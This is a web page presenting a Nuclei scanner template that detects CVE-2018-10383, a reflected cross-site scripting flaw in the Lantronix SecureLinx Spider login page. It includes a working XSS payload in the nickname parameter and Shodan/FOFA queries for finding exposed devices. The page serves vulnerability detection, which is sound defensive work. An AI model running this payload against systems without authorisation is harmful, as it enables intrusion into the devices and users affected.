Lantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting

ID: CVE-2018-10383

Severity: medium

Author: ritikchaddha

Tags: cve,cve2022,lantronix,securelinx,sls,xss

Description

Lantronix SecureLinx Spider (SLS) 2.2+ devices have XSS in the auth.asp login page.

YAML Source

id: CVE-2018-10383

info:
  name: Lantronix SecureLinx Spider (SLS) 2.2+ - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Lantronix SecureLinx Spider (SLS) 2.2+ devices have XSS in the auth.asp login page.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2018-10383.md
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10383
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10383
    cwe-id: CWE-79
    cpe: cpe:2.3:o:lantronix:securelinx_spider_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lantronix
    product: securelinx_spider_firmware
    shodan-query: title:"Lantronix"
    fofa-query: title="Lantronix"
  tags: cve,cve2022,lantronix,securelinx,sls,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<title>Lantronix", "Lantronix, Inc")'
        internal: true

  - raw:
      - |
        GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22alert(document.domain)%22%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "><style onload=\"alert(document.domain)\">")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100cf929b75dd3a80e63c296b63c7e7bb2de6b35a96d208a6246e17d801f4e95681022100e6c820591e54bb45912393b6db3a525b716144361ad518be87cbb8e9de1cdb80:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-10383.yaml"

View on Github